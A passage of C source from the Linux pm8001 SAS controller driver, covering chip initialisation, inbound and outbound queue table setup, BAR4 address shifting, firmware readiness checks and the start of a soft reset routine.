pm8001_mr32(address, 0x0C);
pm8001_ha->gs_tbl.pm8001_tbl.iop_tcnt =
pm8001_mr32(address, 0x10);
pm8001_ha->gs_tbl.pm8001_tbl.rsvd =
pm8001_mr32(address, 0x14);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[0] =
pm8001_mr32(address, 0x18);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[1] =
pm8001_mr32(address, 0x1C);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[2] =
pm8001_mr32(address, 0x20);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[3] =
pm8001_mr32(address, 0x24);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[4] =
pm8001_mr32(address, 0x28);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[5] =
pm8001_mr32(address, 0x2C);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[6] =
pm8001_mr32(address, 0x30);
pm8001_ha->gs_tbl.pm8001_tbl.phy_state[7] =
pm8001_mr32(address, 0x34);
pm8001_ha->gs_tbl.pm8001_tbl.gpio_input_val =
pm8001_mr32(address, 0x38);
pm8001_ha->gs_tbl.pm8001_tbl.rsvd1[0] =
pm8001_mr32(address, 0x3C);
pm8001_ha->gs_tbl.pm8001_tbl.rsvd1[1] =
pm8001_mr32(address, 0x40);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[0] =
pm8001_mr32(address, 0x44);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[1] =
pm8001_mr32(address, 0x48);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[2] =
pm8001_mr32(address, 0x4C);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[3] =
pm8001_mr32(address, 0x50);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[4] =
pm8001_mr32(address, 0x54);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[5] =
pm8001_mr32(address, 0x58);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[6] =
pm8001_mr32(address, 0x5C);
pm8001_ha->gs_tbl.pm8001_tbl.recover_err_info[7] =
pm8001_mr32(address, 0x60);
}
/**
* read_inbnd_queue_table - read the inbound queue table and save it.
* @pm8001_ha: our hba card information
*/
static void read_inbnd_queue_table(struct pm8001_hba_info *pm8001_ha)
{
int i;
void __iomem *address = pm8001_ha->inbnd_q_tbl_addr;
for (i = 0; i < PM8001_MAX_INB_NUM; i++) {
u32 offset = i * 0x20;
pm8001_ha->inbnd_q_tbl[i].pi_pci_bar =
get_pci_bar_index(pm8001_mr32(address, (offset + 0x14)));
pm8001_ha->inbnd_q_tbl[i].pi_offset =
pm8001_mr32(address, (offset + 0x18));
}
}
/**
* read_outbnd_queue_table - read the outbound queue table and save it.
* @pm8001_ha: our hba card information
*/
static void read_outbnd_queue_table(struct pm8001_hba_info *pm8001_ha)
{
int i;
void __iomem *address = pm8001_ha->outbnd_q_tbl_addr;
for (i = 0; i < PM8001_MAX_OUTB_NUM; i++) {
u32 offset = i * 0x24;
pm8001_ha->outbnd_q_tbl[i].ci_pci_bar =
get_pci_bar_index(pm8001_mr32(address, (offset + 0x14)));
pm8001_ha->outbnd_q_tbl[i].ci_offset =
pm8001_mr32(address, (offset + 0x18));
}
}
/**
* init_default_table_values - init the default table.
* @pm8001_ha: our hba card information
*/
static void init_default_table_values(struct pm8001_hba_info *pm8001_ha)
{
int i;
u32 offsetib, offsetob;
void __iomem *addressib = pm8001_ha->inbnd_q_tbl_addr;
void __iomem *addressob = pm8001_ha->outbnd_q_tbl_addr;
pm8001_ha->main_cfg_tbl.pm8001_tbl.inbound_q_nppd_hppd = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_hw_event_pid0_3 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_hw_event_pid4_7 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_ncq_event_pid0_3 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_ncq_event_pid4_7 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_tgt_ITNexus_event_pid0_3 =
0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_tgt_ITNexus_event_pid4_7 =
0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_tgt_ssp_event_pid0_3 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_tgt_ssp_event_pid4_7 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_tgt_smp_event_pid0_3 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_tgt_smp_event_pid4_7 = 0;
pm8001_ha->main_cfg_tbl.pm8001_tbl.upper_event_log_addr =
pm8001_ha->memoryMap.region[AAP1].phys_addr_hi;
pm8001_ha->main_cfg_tbl.pm8001_tbl.lower_event_log_addr =
pm8001_ha->memoryMap.region[AAP1].phys_addr_lo;
pm8001_ha->main_cfg_tbl.pm8001_tbl.event_log_size =
PM8001_EVENT_LOG_SIZE;
pm8001_ha->main_cfg_tbl.pm8001_tbl.event_log_option = 0x01;
pm8001_ha->main_cfg_tbl.pm8001_tbl.upper_iop_event_log_addr =
pm8001_ha->memoryMap.region[IOP].phys_addr_hi;
pm8001_ha->main_cfg_tbl.pm8001_tbl.lower_iop_event_log_addr =
pm8001_ha->memoryMap.region[IOP].phys_addr_lo;
pm8001_ha->main_cfg_tbl.pm8001_tbl.iop_event_log_size =
PM8001_EVENT_LOG_SIZE;
pm8001_ha->main_cfg_tbl.pm8001_tbl.iop_event_log_option = 0x01;
pm8001_ha->main_cfg_tbl.pm8001_tbl.fatal_err_interrupt = 0x01;
for (i = 0; i < PM8001_MAX_INB_NUM; i++) {
pm8001_ha->inbnd_q_tbl[i].element_pri_size_cnt =
PM8001_MPI_QUEUE | (pm8001_ha->iomb_size << 16) | (0x00<<30);
pm8001_ha->inbnd_q_tbl[i].upper_base_addr =
pm8001_ha->memoryMap.region[IB + i].phys_addr_hi;
pm8001_ha->inbnd_q_tbl[i].lower_base_addr =
pm8001_ha->memoryMap.region[IB + i].phys_addr_lo;
pm8001_ha->inbnd_q_tbl[i].base_virt =
(u8 *)pm8001_ha->memoryMap.region[IB + i].virt_ptr;
pm8001_ha->inbnd_q_tbl[i].total_length =
pm8001_ha->memoryMap.region[IB + i].total_len;
pm8001_ha->inbnd_q_tbl[i].ci_upper_base_addr =
pm8001_ha->memoryMap.region[CI + i].phys_addr_hi;
pm8001_ha->inbnd_q_tbl[i].ci_lower_base_addr =
pm8001_ha->memoryMap.region[CI + i].phys_addr_lo;
pm8001_ha->inbnd_q_tbl[i].ci_virt =
pm8001_ha->memoryMap.region[CI + i].virt_ptr;
offsetib = i * 0x20;
pm8001_ha->inbnd_q_tbl[i].pi_pci_bar =
get_pci_bar_index(pm8001_mr32(addressib,
(offsetib + 0x14)));
pm8001_ha->inbnd_q_tbl[i].pi_offset =
pm8001_mr32(addressib, (offsetib + 0x18));
pm8001_ha->inbnd_q_tbl[i].producer_idx = 0;
pm8001_ha->inbnd_q_tbl[i].consumer_index = 0;
}
for (i = 0; i < PM8001_MAX_OUTB_NUM; i++) {
pm8001_ha->outbnd_q_tbl[i].element_size_cnt =
PM8001_MPI_QUEUE | (pm8001_ha->iomb_size << 16) | (0x01<<30);
pm8001_ha->outbnd_q_tbl[i].upper_base_addr =
pm8001_ha->memoryMap.region[OB + i].phys_addr_hi;
pm8001_ha->outbnd_q_tbl[i].lower_base_addr =
pm8001_ha->memoryMap.region[OB + i].phys_addr_lo;
pm8001_ha->outbnd_q_tbl[i].base_virt =
(u8 *)pm8001_ha->memoryMap.region[OB + i].virt_ptr;
pm8001_ha->outbnd_q_tbl[i].total_length =
pm8001_ha->memoryMap.region[OB + i].total_len;
pm8001_ha->outbnd_q_tbl[i].pi_upper_base_addr =
pm8001_ha->memoryMap.region[PI + i].phys_addr_hi;
pm8001_ha->outbnd_q_tbl[i].pi_lower_base_addr =
pm8001_ha->memoryMap.region[PI + i].phys_addr_lo;
pm8001_ha->outbnd_q_tbl[i].interrup_vec_cnt_delay =
0 | (10 << 16) | (i << 24);
pm8001_ha->outbnd_q_tbl[i].pi_virt =
pm8001_ha->memoryMap.region[PI + i].virt_ptr;
offsetob = i * 0x24;
pm8001_ha->outbnd_q_tbl[i].ci_pci_bar =
get_pci_bar_index(pm8001_mr32(addressob,
offsetob + 0x14));
pm8001_ha->outbnd_q_tbl[i].ci_offset =
pm8001_mr32(addressob, (offsetob + 0x18));
pm8001_ha->outbnd_q_tbl[i].consumer_idx = 0;
pm8001_ha->outbnd_q_tbl[i].producer_index = 0;
}
}
/**
* update_main_config_table - update the main default table to the HBA.
* @pm8001_ha: our hba card information
*/
static void update_main_config_table(struct pm8001_hba_info *pm8001_ha)
{
void __iomem *address = pm8001_ha->main_cfg_tbl_addr;
pm8001_mw32(address, 0x24,
pm8001_ha->main_cfg_tbl.pm8001_tbl.inbound_q_nppd_hppd);
pm8001_mw32(address, 0x28,
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_hw_event_pid0_3);
pm8001_mw32(address, 0x2C,
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_hw_event_pid4_7);
pm8001_mw32(address, 0x30,
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_ncq_event_pid0_3);
pm8001_mw32(address, 0x34,
pm8001_ha->main_cfg_tbl.pm8001_tbl.outbound_ncq_event_pid4_7);
pm8001_mw32(address, 0x38,
pm8001_ha->main_cfg_tbl.pm8001_tbl.
outbound_tgt_ITNexus_event_pid0_3);
pm8001_mw32(address, 0x3C,
pm8001_ha->main_cfg_tbl.pm8001_tbl.
outbound_tgt_ITNexus_event_pid4_7);
pm8001_mw32(address, 0x40,
pm8001_ha->main_cfg_tbl.pm8001_tbl.
outbound_tgt_ssp_event_pid0_3);
pm8001_mw32(address, 0x44,
pm8001_ha->main_cfg_tbl.pm8001_tbl.
outbound_tgt_ssp_event_pid4_7);
pm8001_mw32(address, 0x48,
pm8001_ha->main_cfg_tbl.pm8001_tbl.
outbound_tgt_smp_event_pid0_3);
pm8001_mw32(address, 0x4C,
pm8001_ha->main_cfg_tbl.pm8001_tbl.
outbound_tgt_smp_event_pid4_7);
pm8001_mw32(address, 0x50,
pm8001_ha->main_cfg_tbl.pm8001_tbl.upper_event_log_addr);
pm8001_mw32(address, 0x54,
pm8001_ha->main_cfg_tbl.pm8001_tbl.lower_event_log_addr);
pm8001_mw32(address, 0x58,
pm8001_ha->main_cfg_tbl.pm8001_tbl.event_log_size);
pm8001_mw32(address, 0x5C,
pm8001_ha->main_cfg_tbl.pm8001_tbl.event_log_option);
pm8001_mw32(address, 0x60,
pm8001_ha->main_cfg_tbl.pm8001_tbl.upper_iop_event_log_addr);
pm8001_mw32(address, 0x64,
pm8001_ha->main_cfg_tbl.pm8001_tbl.lower_iop_event_log_addr);
pm8001_mw32(address, 0x68,
pm8001_ha->main_cfg_tbl.pm8001_tbl.iop_event_log_size);
pm8001_mw32(address, 0x6C,
pm8001_ha->main_cfg_tbl.pm8001_tbl.iop_event_log_option);
pm8001_mw32(address, 0x70,
pm8001_ha->main_cfg_tbl.pm8001_tbl.fatal_err_interrupt);
}
/**
* update_inbnd_queue_table - update the inbound queue table to the HBA.
* @pm8001_ha: our hba card information
*/
static void update_inbnd_queue_table(struct pm8001_hba_info *pm8001_ha,
int number)
{
void __iomem *address = pm8001_ha->inbnd_q_tbl_addr;
u16 offset = number * 0x20;
pm8001_mw32(address, offset + 0x00,
pm8001_ha->inbnd_q_tbl[number].element_pri_size_cnt);
pm8001_mw32(address, offset + 0x04,
pm8001_ha->inbnd_q_tbl[number].upper_base_addr);
pm8001_mw32(address, offset + 0x08,
pm8001_ha->inbnd_q_tbl[number].lower_base_addr);
pm8001_mw32(address, offset + 0x0C,
pm8001_ha->inbnd_q_tbl[number].ci_upper_base_addr);
pm8001_mw32(address, offset + 0x10,
pm8001_ha->inbnd_q_tbl[number].ci_lower_base_addr);
}
/**
* update_outbnd_queue_table - update the outbound queue table to the HBA.
* @pm8001_ha: our hba card information
*/
static void update_outbnd_queue_table(struct pm8001_hba_info *pm8001_ha,
int number)
{
void __iomem *address = pm8001_ha->outbnd_q_tbl_addr;
u16 offset = number * 0x24;
pm8001_mw32(address, offset + 0x00,
pm8001_ha->outbnd_q_tbl[number].element_size_cnt);
pm8001_mw32(address, offset + 0x04,
pm8001_ha->outbnd_q_tbl[number].upper_base_addr);
pm8001_mw32(address, offset + 0x08,
pm8001_ha->outbnd_q_tbl[number].lower_base_addr);
pm8001_mw32(address, offset + 0x0C,
pm8001_ha->outbnd_q_tbl[number].pi_upper_base_addr);
pm8001_mw32(address, offset + 0x10,
pm8001_ha->outbnd_q_tbl[number].pi_lower_base_addr);
pm8001_mw32(address, offset + 0x1C,
pm8001_ha->outbnd_q_tbl[number].interrup_vec_cnt_delay);
}
/**
* pm8001_bar4_shift - function is called to shift BAR base address
* @pm8001_ha : our hba card infomation
* @shiftValue : shifting value in memory bar.
*/
int pm8001_bar4_shift(struct pm8001_hba_info *pm8001_ha, u32 shiftValue)
{
u32 regVal;
unsigned long start;
/* program the inbound AXI translation Lower Address */
pm8001_cw32(pm8001_ha, 1, SPC_IBW_AXI_TRANSLATION_LOW, shiftValue);
/* confirm the setting is written */
start = jiffies + HZ; /* 1 sec */
do {
regVal = pm8001_cr32(pm8001_ha, 1, SPC_IBW_AXI_TRANSLATION_LOW);
} while ((regVal != shiftValue) && time_before(jiffies, start));
if (regVal != shiftValue) {
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("TIMEOUT:SPC_IBW_AXI_TRANSLATION_LOW"
" = 0x%x\n", regVal));
return -1;
}
return 0;
}
/**
* mpi_set_phys_g3_with_ssc
* @pm8001_ha: our hba card information
* @SSCbit: set SSCbit to 0 to disable all phys ssc; 1 to enable all phys ssc.
*/
static void mpi_set_phys_g3_with_ssc(struct pm8001_hba_info *pm8001_ha,
u32 SSCbit)
{
u32 value, offset, i;
unsigned long flags;
#define SAS2_SETTINGS_LOCAL_PHY_0_3_SHIFT_ADDR 0x00030000
#define SAS2_SETTINGS_LOCAL_PHY_4_7_SHIFT_ADDR 0x00040000
#define SAS2_SETTINGS_LOCAL_PHY_0_3_OFFSET 0x1074
#define SAS2_SETTINGS_LOCAL_PHY_4_7_OFFSET 0x1074
#define PHY_G3_WITHOUT_SSC_BIT_SHIFT 12
#define PHY_G3_WITH_SSC_BIT_SHIFT 13
#define SNW3_PHY_CAPABILITIES_PARITY 31
/*
* Using shifted destination address 0x3_0000:0x1074 + 0x4000*N (N=0:3)
* Using shifted destination address 0x4_0000:0x1074 + 0x4000*(N-4) (N=4:7)
*/
spin_lock_irqsave(&pm8001_ha->lock, flags);
if (-1 == pm8001_bar4_shift(pm8001_ha,
SAS2_SETTINGS_LOCAL_PHY_0_3_SHIFT_ADDR)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return;
}
for (i = 0; i < 4; i++) {
offset = SAS2_SETTINGS_LOCAL_PHY_0_3_OFFSET + 0x4000 * i;
pm8001_cw32(pm8001_ha, 2, offset, 0x80001501);
}
/* shift membase 3 for SAS2_SETTINGS_LOCAL_PHY 4 - 7 */
if (-1 == pm8001_bar4_shift(pm8001_ha,
SAS2_SETTINGS_LOCAL_PHY_4_7_SHIFT_ADDR)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return;
}
for (i = 4; i < 8; i++) {
offset = SAS2_SETTINGS_LOCAL_PHY_4_7_OFFSET + 0x4000 * (i-4);
pm8001_cw32(pm8001_ha, 2, offset, 0x80001501);
}
/*************************************************************
Change the SSC upspreading value to 0x0 so that upspreading is disabled.
Device MABC SMOD0 Controls
Address: (via MEMBASE-III):
Using shifted destination address 0x0_0000: with Offset 0xD8
31:28 R/W Reserved Do not change
27:24 R/W SAS_SMOD_SPRDUP 0000
23:20 R/W SAS_SMOD_SPRDDN 0000
19:0 R/W Reserved Do not change
Upon power-up this register will read as 0x8990c016,
and I would like you to change the SAS_SMOD_SPRDUP bits to 0b0000
so that the written value will be 0x8090c016.
This will ensure only down-spreading SSC is enabled on the SPC.
*************************************************************/
value = pm8001_cr32(pm8001_ha, 2, 0xd8);
pm8001_cw32(pm8001_ha, 2, 0xd8, 0x8000C016);
/*set the shifted destination address to 0x0 to avoid error operation */
pm8001_bar4_shift(pm8001_ha, 0x0);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return;
}
/**
* mpi_set_open_retry_interval_reg
* @pm8001_ha: our hba card information
* @interval - interval time for each OPEN_REJECT (RETRY). The units are in 1us.
*/
static void mpi_set_open_retry_interval_reg(struct pm8001_hba_info *pm8001_ha,
u32 interval)
{
u32 offset;
u32 value;
u32 i;
unsigned long flags;
#define OPEN_RETRY_INTERVAL_PHY_0_3_SHIFT_ADDR 0x00030000
#define OPEN_RETRY_INTERVAL_PHY_4_7_SHIFT_ADDR 0x00040000
#define OPEN_RETRY_INTERVAL_PHY_0_3_OFFSET 0x30B4
#define OPEN_RETRY_INTERVAL_PHY_4_7_OFFSET 0x30B4
#define OPEN_RETRY_INTERVAL_REG_MASK 0x0000FFFF
value = interval & OPEN_RETRY_INTERVAL_REG_MASK;
spin_lock_irqsave(&pm8001_ha->lock, flags);
/* shift bar and set the OPEN_REJECT(RETRY) interval time of PHY 0 -3.*/
if (-1 == pm8001_bar4_shift(pm8001_ha,
OPEN_RETRY_INTERVAL_PHY_0_3_SHIFT_ADDR)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return;
}
for (i = 0; i < 4; i++) {
offset = OPEN_RETRY_INTERVAL_PHY_0_3_OFFSET + 0x4000 * i;
pm8001_cw32(pm8001_ha, 2, offset, value);
}
if (-1 == pm8001_bar4_shift(pm8001_ha,
OPEN_RETRY_INTERVAL_PHY_4_7_SHIFT_ADDR)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return;
}
for (i = 4; i < 8; i++) {
offset = OPEN_RETRY_INTERVAL_PHY_4_7_OFFSET + 0x4000 * (i-4);
pm8001_cw32(pm8001_ha, 2, offset, value);
}
/*set the shifted destination address to 0x0 to avoid error operation */
pm8001_bar4_shift(pm8001_ha, 0x0);
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return;
}
/**
* mpi_init_check - check firmware initialization status.
* @pm8001_ha: our hba card information
*/
static int mpi_init_check(struct pm8001_hba_info *pm8001_ha)
{
u32 max_wait_count;
u32 value;
u32 gst_len_mpistate;
/* Write bit0=1 to Inbound DoorBell Register to tell the SPC FW the
table is updated */
pm8001_cw32(pm8001_ha, 0, MSGU_IBDB_SET, SPC_MSGU_CFG_TABLE_UPDATE);
/* wait until Inbound DoorBell Clear Register toggled */
max_wait_count = 1 * 1000 * 1000;/* 1 sec */
do {
udelay(1);
value = pm8001_cr32(pm8001_ha, 0, MSGU_IBDB_SET);
value &= SPC_MSGU_CFG_TABLE_UPDATE;
} while ((value != 0) && (--max_wait_count));
if (!max_wait_count)
return -1;
/* check the MPI-State for initialization */
gst_len_mpistate =
pm8001_mr32(pm8001_ha->general_stat_tbl_addr,
GST_GSTLEN_MPIS_OFFSET);
if (GST_MPI_STATE_INIT != (gst_len_mpistate & GST_MPI_STATE_MASK))
return -1;
/* check MPI Initialization error */
gst_len_mpistate = gst_len_mpistate >> 16;
if (0x0000 != gst_len_mpistate)
return -1;
return 0;
}
/**
* check_fw_ready - The LLDD check if the FW is ready, if not, return error.
* @pm8001_ha: our hba card information
*/
static int check_fw_ready(struct pm8001_hba_info *pm8001_ha)
{
u32 value, value1;
u32 max_wait_count;
/* check error state */
value = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_1);
value1 = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_2);
/* check AAP error */
if (SCRATCH_PAD1_ERR == (value & SCRATCH_PAD_STATE_MASK)) {
/* error state */
value = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_0);
return -1;
}
/* check IOP error */
if (SCRATCH_PAD2_ERR == (value1 & SCRATCH_PAD_STATE_MASK)) {
/* error state */
value1 = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_3);
return -1;
}
/* bit 4-31 of scratch pad1 should be zeros if it is not
in error state*/
if (value & SCRATCH_PAD1_STATE_MASK) {
/* error case */
pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_0);
return -1;
}
/* bit 2, 4-31 of scratch pad2 should be zeros if it is not
in error state */
if (value1 & SCRATCH_PAD2_STATE_MASK) {
/* error case */
return -1;
}
max_wait_count = 1 * 1000 * 1000;/* 1 sec timeout */
/* wait until scratch pad 1 and 2 registers in ready state */
do {
udelay(1);
value = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_1)
& SCRATCH_PAD1_RDY;
value1 = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_2)
& SCRATCH_PAD2_RDY;
if ((--max_wait_count) == 0)
return -1;
} while ((value != SCRATCH_PAD1_RDY) || (value1 != SCRATCH_PAD2_RDY));
return 0;
}
static void init_pci_device_addresses(struct pm8001_hba_info *pm8001_ha)
{
void __iomem *base_addr;
u32 value;
u32 offset;
u32 pcibar;
u32 pcilogic;
value = pm8001_cr32(pm8001_ha, 0, 0x44);
offset = value & 0x03FFFFFF;
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Scratchpad 0 Offset: %x\n", offset));
pcilogic = (value & 0xFC000000) >> 26;
pcibar = get_pci_bar_index(pcilogic);
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Scratchpad 0 PCI BAR: %d\n", pcibar));
pm8001_ha->main_cfg_tbl_addr = base_addr =
pm8001_ha->io_mem[pcibar].memvirtaddr + offset;
pm8001_ha->general_stat_tbl_addr =
base_addr + pm8001_cr32(pm8001_ha, pcibar, offset + 0x18);
pm8001_ha->inbnd_q_tbl_addr =
base_addr + pm8001_cr32(pm8001_ha, pcibar, offset + 0x1C);
pm8001_ha->outbnd_q_tbl_addr =
base_addr + pm8001_cr32(pm8001_ha, pcibar, offset + 0x20);
}
/**
* pm8001_chip_init - the main init function that initialize whole PM8001 chip.
* @pm8001_ha: our hba card information
*/
static int pm8001_chip_init(struct pm8001_hba_info *pm8001_ha)
{
u8 i = 0;
u16 deviceid;
pci_read_config_word(pm8001_ha->pdev, PCI_DEVICE_ID, &deviceid);
/* 8081 controllers need BAR shift to access MPI space
* as this is shared with BIOS data */
if (deviceid == 0x8081 || deviceid == 0x0042) {
if (-1 == pm8001_bar4_shift(pm8001_ha, GSM_SM_BASE)) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
GSM_SM_BASE));
return -1;
}
}
/* check the firmware status */
if (-1 == check_fw_ready(pm8001_ha)) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Firmware is not ready!\n"));
return -EBUSY;
}
/* Initialize pci space address eg: mpi offset */
init_pci_device_addresses(pm8001_ha);
init_default_table_values(pm8001_ha);
read_main_config_table(pm8001_ha);
read_general_status_table(pm8001_ha);
read_inbnd_queue_table(pm8001_ha);
read_outbnd_queue_table(pm8001_ha);
/* update main config table ,inbound table and outbound table */
update_main_config_table(pm8001_ha);
for (i = 0; i < PM8001_MAX_INB_NUM; i++)
update_inbnd_queue_table(pm8001_ha, i);
for (i = 0; i < PM8001_MAX_OUTB_NUM; i++)
update_outbnd_queue_table(pm8001_ha, i);
/* 8081 controller donot require these operations */
if (deviceid != 0x8081 && deviceid != 0x0042) {
mpi_set_phys_g3_with_ssc(pm8001_ha, 0);
/* 7->130ms, 34->500ms, 119->1.5s */
mpi_set_open_retry_interval_reg(pm8001_ha, 119);
}
/* notify firmware update finished and check initialization status */
if (0 == mpi_init_check(pm8001_ha)) {
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("MPI initialize successful!\n"));
} else
return -EBUSY;
/*This register is a 16-bit timer with a resolution of 1us. This is the
timer used for interrupt delay/coalescing in the PCIe Application Layer.
Zero is not a valid value. A value of 1 in the register will cause the
interrupts to be normal. A value greater than 1 will cause coalescing
delays.*/
pm8001_cw32(pm8001_ha, 1, 0x0033c0, 0x1);
pm8001_cw32(pm8001_ha, 1, 0x0033c4, 0x0);
return 0;
}
static int mpi_uninit_check(struct pm8001_hba_info *pm8001_ha)
{
u32 max_wait_count;
u32 value;
u32 gst_len_mpistate;
u16 deviceid;
pci_read_config_word(pm8001_ha->pdev, PCI_DEVICE_ID, &deviceid);
if (deviceid == 0x8081 || deviceid == 0x0042) {
if (-1 == pm8001_bar4_shift(pm8001_ha, GSM_SM_BASE)) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
GSM_SM_BASE));
return -1;
}
}
init_pci_device_addresses(pm8001_ha);
/* Write bit1=1 to Inbound DoorBell Register to tell the SPC FW the
table is stop */
pm8001_cw32(pm8001_ha, 0, MSGU_IBDB_SET, SPC_MSGU_CFG_TABLE_RESET);
/* wait until Inbound DoorBell Clear Register toggled */
max_wait_count = 1 * 1000 * 1000;/* 1 sec */
do {
udelay(1);
value = pm8001_cr32(pm8001_ha, 0, MSGU_IBDB_SET);
value &= SPC_MSGU_CFG_TABLE_RESET;
} while ((value != 0) && (--max_wait_count));
if (!max_wait_count) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("TIMEOUT:IBDB value/=0x%x\n", value));
return -1;
}
/* check the MPI-State for termination in progress */
/* wait until Inbound DoorBell Clear Register toggled */
max_wait_count = 1 * 1000 * 1000; /* 1 sec */
do {
udelay(1);
gst_len_mpistate =
pm8001_mr32(pm8001_ha->general_stat_tbl_addr,
GST_GSTLEN_MPIS_OFFSET);
if (GST_MPI_STATE_UNINIT ==
(gst_len_mpistate & GST_MPI_STATE_MASK))
break;
} while (--max_wait_count);
if (!max_wait_count) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk(" TIME OUT MPI State = 0x%x\n",
gst_len_mpistate & GST_MPI_STATE_MASK));
return -1;
}
return 0;
}
/**
* soft_reset_ready_check - Function to check FW is ready for soft reset.
* @pm8001_ha: our hba card information
*/
static u32 soft_reset_ready_check(struct pm8001_hba_info *pm8001_ha)
{
u32 regVal, regVal1, regVal2;
if (mpi_uninit_check(pm8001_ha) != 0) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("MPI state is not ready\n"));
return -1;
}
/* read the scratch pad 2 register bit 2 */
regVal = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_2)
& SCRATCH_PAD2_FWRDY_RST;
if (regVal == SCRATCH_PAD2_FWRDY_RST) {
PM8001_INIT_DBG(pm8001_ha,
pm8001_printk("Firmware is ready for reset .\n"));
} else {
unsigned long flags;
/* Trigger NMI twice via RB6 */
spin_lock_irqsave(&pm8001_ha->lock, flags);
if (-1 == pm8001_bar4_shift(pm8001_ha, RB6_ACCESS_REG)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
RB6_ACCESS_REG));
return -1;
}
pm8001_cw32(pm8001_ha, 2, SPC_RB6_OFFSET,
RB6_MAGIC_NUMBER_RST);
pm8001_cw32(pm8001_ha, 2, SPC_RB6_OFFSET, RB6_MAGIC_NUMBER_RST);
/* wait for 100 ms */
mdelay(100);
regVal = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_2) &
SCRATCH_PAD2_FWRDY_RST;
if (regVal != SCRATCH_PAD2_FWRDY_RST) {
regVal1 = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_1);
regVal2 = pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_2);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("TIMEOUT:MSGU_SCRATCH_PAD1"
"=0x%x, MSGU_SCRATCH_PAD2=0x%x\n",
regVal1, regVal2));
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD0 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_0)));
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SCRATCH_PAD3 value = 0x%x\n",
pm8001_cr32(pm8001_ha, 0, MSGU_SCRATCH_PAD_3)));
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
return -1;
}
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
}
return 0;
}
/**
* pm8001_chip_soft_rst - soft reset the PM8001 chip, so that the clear all
* the FW register status to the originated status.
* @pm8001_ha: our hba card information
*/
static int
pm8001_chip_soft_rst(struct pm8001_hba_info *pm8001_ha)
{
u32 regVal, toggleVal;
u32 max_wait_count;
u32 regVal1, regVal2, regVal3;
u32 signature = 0x252acbcd; /* for host scratch pad0 */
unsigned long flags;
/* step1: Check FW is ready for soft reset */
if (soft_reset_ready_check(pm8001_ha) != 0) {
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("FW is not ready\n"));
return -1;
}
/* step 2: clear NMI status register on AAP1 and IOP, write the same
value to clear */
/* map 0x60000 to BAR4(0x20), BAR2(win) */
spin_lock_irqsave(&pm8001_ha->lock, flags);
if (-1 == pm8001_bar4_shift(pm8001_ha, MBIC_AAP1_ADDR_BASE)) {
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Shift Bar4 to 0x%x failed\n",
MBIC_AAP1_ADDR_BASE));
return -1;
}
regVal = pm8001_cr32(pm8001_ha, 2, MBIC_NMI_ENABLE_VPE0_IOP);
PM8001_INIT_DBG(pm8001_ha,
